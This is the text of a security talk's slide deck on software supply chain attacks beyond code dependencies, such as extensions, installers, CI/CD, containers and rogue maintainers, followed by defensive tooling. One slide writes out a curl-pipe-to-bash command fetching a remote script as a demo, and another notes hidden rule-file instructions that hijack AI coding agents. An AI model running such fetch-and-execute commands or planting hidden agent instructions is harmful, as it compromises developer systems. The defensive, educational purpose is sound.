You secured your code dependencies, is that enough?

You secured your code dependencies, is that enough?

Anant Shrivastava

Anant Shrivastava

● Chief researcher @ Cyfinoid Research (Research Powered Trainings) ● 17+ yrs of corporate exposure ● Speaker / Trainer: BH/DC, c0c0n, nullcon, RootConf, RuxCon ● Project Lead: ○ Code Vigilant (Code Review Project) ○ Hacking Archives of India, ○ TamerPlatform (Android Security)

(@anantshri on social platforms) https://anantshri.info

Question : Have you heard about

SOFTWARE SUPPLY CHAIN SECURITY SBOM (SOFTWARE BILL OF MATERIAL) SOURCE COMPOSITION ANALYSIS TOOLS

Why?

Incidences • SolarWind • CodeCov • Colonial Pipeline

Resultant • EO by US President

Supply Chain issues are age old trust issues

Ken Thompson talk about Supply Chain security and inherent trust in 1983. During the lecture, Ken outlines a three-step process for altering a C compiler binary to implant a backdoor when compiling the “login” program, all without leaving any evidence in the source code. He got the idea from an older US MIL document published in 1974 titled “MULTICS SECURITY EVALUATION”

Ref

● https://users.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf ● https://research.swtch.com/nih ● https://seclab.cs.ucdavis.edu/projects/history/papers/karg74.pdf

…and it’s not going anywhere anytime soon…

In a report by European Union Agency for Cyber Security (ENISA), they state Supply Chain Compromise of Software Dependencies as one of the threats that gonna be at peak.

Ref https://www.enisa.europa.eu/p ublications/enisa-foresightcybersecurity-threats-for-2030

Effect across the globe in Govt Japan US EU India UK

https://ec.europa.eu/commission/presscorner/detail/en/ip_22_5374 https://www.japantimes.co.jp/news/2022/05/11/business/japan-passes-economic-security-bill-protect-sensitive-technology/ https://www.federalregister.gov/d/2021-10460/p-54 https://www.cert-in.org.in/PDF/SBOM_Guidelines.pdf

Why now?

• Software build automation == quicker release cycle • Automated release cycle == less wait for features • Faster feature release == less inclination to upgrade dependencies • Too much focus on OSS Codebase without helping the maintainers • Impossible segregation of features and bug fixes • Automated notification of vulnerability (hedonic hamster wheel)

Work done by Dependabot in last ~5 months

Start of Feb 2025 End of June 2025

2451693 issues closed 120751 new issues created

What is Software Bill of Material

Itemized list of all the ingredients in the software Ingredients ~ thirdparty components SBoM’s are mostly for one level depth only with other levels plugged in each other.

https://www.ntia.gov/report/2021/minimum-elements-software-bill-materials-sbom

SCA Source Composition Analysis Tools

Generate or Consume SBoM Identify Outdated Software Insecure Software EOL Product And more

Question : Raise your hands if

You have SCA tooling in your organization? You follow vulnerability management practices for source code components?

Let the fun begin © Cyfinoid Research 13

Software Supply Chains beyond Code chain

• We have focused too much on Software code itself • As consumers we are dealing with too many chain not in awareness • As a Company there are dependency chains far beyond code dependencies

What other chains?

Any Software or application which allows 3rd party to add or modify functionality

pluggable modules / plugins Extensions Theming customizations

A set of chain that existed 5 months back

A developer uses a Chrome extension to manipulate AI prompts, which are then fed into Visual Studio Code through a set of AI-driven code completion extensions. The resulting code is committed to GitHub, where a set of GitHub Actions automatically run analysis and tests. The code is then containerized into a Docker image, deployed on Kubernetes, running inside an EC2 instance, built from a specific AMI.

A Chain that exists now (besides previous)

A developer uses an autonomous AI agent to write code by providing them a one liner prompt and full access to the commandline. The resulting code is committed to GitHub, where a set of GitHub Actions automatically run analysis and tests. The code is then containerized into a Docker image, deployed on Kubernetes, running inside an EC2 instance, built from a specific AMI.

Simplified Supply Chain view

Why do they matter

PRODUCTION IS HARDENED, DEV NOT SO MUCH EASIER TO COMPROMISE LESS GUARDED PATHS SMALLER ORGS EASIER TO INFILTRATE / OCCUPY / ACQUIRE

Developer Machine : Why lucrative

Lots of credentials and access Developers require a bit of lax security to get job done Exceptions in network policy rules Mostly will have admin access Multiple powerful apps (IDE, debugger etc)

Show me data don’t just imagine

Case studies: WYS Is not WYG

Content delivered differently to curl and browser

Don’t curl | sh

https://jordaneldredge.com/blog/one-way-curl-pipe-shinstall-scripts-can-be-dangerous/

Don’t pipe to shell

https://www.seancassidy.me/dont-pipe-to-yourshell.html

curl https://anantshri.info/fun/legitimate.sh | bash

Chrome Browser

• By Google (claimed as fastest) • Installer runs without admin privilege (you can cancel admin prompts)

• https://arstechnica.com/security/2025/01/dozens-ofbackdoored-chrome-extensions-discovered-on-2-6-milliondevices/

What can a browser extension do

Cookie Monster

• https://gbhackers.com/malicious-editthiscookie-extension/

Visual Studio Code

• Too many examples to count • https://www.bleepingcomputer.com/news/security/maliciousvscode-extensions-with-millions-of-installs-discovered/

Visual Studio Marketplaces

• VS Code extensions marketplace is only usable by MS Products • https://open-vsx.org “Extensions for VS Code Compatible Editors” • Just over 8 million developers depend on Open VSX across dozens of VS Code based editors including Cursor, Windsurf, Google Cloud Shell Editor, and Gitlab Web IDE • Exploiting a CI issue a malicious actor could publish malicious updates to every extension on Open VSX

• Ref: https://blog.koi.security/marketplace-takeover-how-we-couldvetaken-over-every-developer-using-a-vscode-fork-f0f8cf104d44

Homebrew

• Google ads to bring traffic • Near replica of website • Serving install.sh with fake admin password prompt

https://x.com/ryanchenkie/status/1880730173634699393

Unexpected places for code execution

https://manpages.debian.org/bookworm/apt/sources.list.5.en.html https://www.golinuxhub.com/2018/05/how-to-execute-script-at-pre-post-preun-postun-spec-file-rpm/

Unexpected places or code execution

Git exploit when git clone —recursive-submodules

Notepad++

https://cybersecuritynews.com/hackers-hijacked-notepad-plugin/

Notepad ++ Impersonation

• https://notepad-plus-plus.org/news/help-to-take-down-parasite-site/

Cursor oh Cursor

Rulefiles

• Remember those CTF’s where flag was hidden in whitespaces • Just that but dangerous

https://www.pillar.security/blog/new-vulnerability-in-github-copilot-and-cursor-how-hackers-canweaponize-code-agents

C.I. / C.D. Systems

• Not just automation • Watch over the entire build or deployment practices • Essential Watchers in the current landscape

DEFENDING CI CD

https://media.defense.gov/2023/Jun/28/2003249466/-1/-1/0/CSI_DEFENDING_CI_CD_ENVIRONMENTS.PDF

Teamcity exploitation

https://www.darkreading.com/vulnerabilities-threats/global-teamcity-exploitation-opens-door-to-solarwinds-style-nightmare

Container Images

• Don’t install software • Download containers • Docker (ish) options needed

https://www.infosecurity-magazine.com/news/malicious-containers-found-docker/ https://blog.aquasec.com/supply-chain-threats-using-container-images

Dependency Caching Servers

https://socket.dev/blog/malicious-package-exploits-go-module-proxy-caching-for-persistence

Bait and Switch

Package created with a good intent but later abused

Wordpress free plugin purchased and backdoored • https://www.bleepingcomputer.com/news/security/backdoorfound-in-wordpress-plugin-with-more-than-300-000installations/

Rogue Maintainers

• peacenotwar module sabotages npm developers in the node-ipc package to protest the invasion of Ukraine Overwrite all files with ❤ if origin is Russia or Belarus.
• Malware Civil War - 25 malicious packages in npm, with some posing as “colors.js,” and even an instance of malware authors targeting each other through a package called “lemaaa” designed to manipulate Discord accounts.
• Open source developer corrupts widely-used libraries, aQecting tons of projects - For packages color.js and faker.js, the maintainer pushed a corrupt update that triggers an infinite loop of weird characters.

So, what's the plan?

• A - Awareness: Identify and move unknown risks into known risks. • T - Trust But Verify: Every dependency, tool, and service should be validated. • O - Ongoing Monitoring: Continuous security checks to detect changes & anomalies. • M - Measure & Map: Build capabilities to answer real questions (e.g., how many machines have Chrome installed? How many plugins exist in GitHub workflows?).

Next Steps

No matter how hard I try I will not be able to cover the full breadth

Chrome Extension Auditing

https://www.extensionauditor.com/

End Point Visibility

https://www.osquery.io/

Ref: https://medium.com/quiq-blog/detecting-high-risk-chrome-extensions-with-osquerybca1a8856448

GitHub and Github Actions

Basic Common Sense ● Signed Commit ● Protected Branches ● Force reviews for pull request approval ● Force signed commits

GitHub and Github Actions

Tooling ● https://github.com/Legit-Labs/legitify ● https://best.openssf.org/SCM-BestPractices/ ● Implement allstar to enforce secure baselines in the organization. ● https://docs.zizmor.sh

Consumer : Vetting Process needed (Vet)

https://docs.safedep.io/

Consumer : Vetting Process Needed (Overlay)

Overlay is a browser extension that helps developers evaluate open source packages before picking them. It gathers data from various sources, such as Snyk Advisor, Debricked, Socket.dev, and Deps.dev, and displays them on the package pages of popular registries like npm, PyPI, and Go.

Install - https://github.com/osscar/overlay#installation

Ref - https://checkmarx.com/blog/software-supply-chain-security-leaders-collaborate-and-build-browser-extension-to-help-developers-choose-open-source/

Cloud Auditing

• ScoutSuite: https://github.com/nccgroup/ScoutSuite • Prowlet: https://github.com/prowler-cloud/prowler • Kube-hunter: https://github.com/aquasecurity/kube-hunter • Kube-bench: https://github.com/aquasecurity/kube-bench • KubiScan: https://github.com/cyberark/KubiScan • Kubeaudit: https://github.com/Shopify/kubeaudit • Trivy: https://github.com/aquasecurity/trivy • Cosign: Provenance : https://github.com/sigstore/cosign

Broad Visualization of Software Supply Chain

https://github.com/SecureStackCo/visualizing-software-supply-chain?tab=readme-ov-file

Supply-chain Levels for Software Artifacts

https://slsa.dev/

OWASP SCVS ~ SSDF

• https://scvs.owasp.org/ • https://csrc.nist.gov/Projects/ssdf

Open Software Supply Chain Attack Reference

https://pbom.dev/

Can of worms that I have not touched

SaaS

iOT

Thanks for listening & open to Questions?

@anantshri

anant @ cyfinoid.com